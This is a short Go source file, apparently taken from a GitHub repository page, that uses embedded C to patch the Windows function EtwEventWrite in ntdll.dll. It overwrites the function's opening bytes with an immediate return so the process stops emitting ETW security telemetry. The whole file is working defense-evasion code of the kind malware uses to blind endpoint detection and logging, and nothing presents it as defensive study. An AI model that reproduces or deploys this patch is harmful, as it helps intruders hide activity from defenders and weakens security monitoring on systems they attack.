-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathEtwPatch.go
50 lines (45 loc) · 1.25 KB
/
EtwPatch.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
/*
#cgo LDFLAGS: -lkernel32 -lntdll
#include <windows.h>
#include <stdio.h>
BOOL PatchETW(void* function) {
BYTE hook[] = {0x33, 0xC0, 0xC3}; // XOR EAX,EAX; RET
HMODULE hModule = GetModuleHandleA("ntdll.dll");
if (hModule == NULL) {
printf("[!] GetModuleHandleA Failed\n");
return FALSE;
}
FARPROC address = GetProcAddress(hModule, function);
if (address == NULL) {
printf("[!] GetProcAddress Failed\n");
return FALSE;
}
DWORD oldProtect;
if (!VirtualProtect(address, sizeof(hook), PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[!] VirtualProtect Failed\n");
return FALSE;
}
memcpy(address, hook, sizeof(hook));
if (!VirtualProtect(address, sizeof(hook), oldProtect, &oldProtect)) {
printf("[!] VirtualProtect Restore Failed\n");
return FALSE;
}
printf("[+] Patch ETW Finished!\n");
return TRUE;
}
*/
import "C"
import (
"fmt"
"unsafe"
)
func main() {
etwevenwrite := "EtwEventWrite"
cFunctionName := C.CString(etwevenwrite)
defer C.free(unsafe.Pointer(cFunctionName))
success := C.PatchETW(unsafe.Pointer(cFunctionName))
if success == C.FALSE {
fmt.Println("[!] Patching ETW failed")
}
}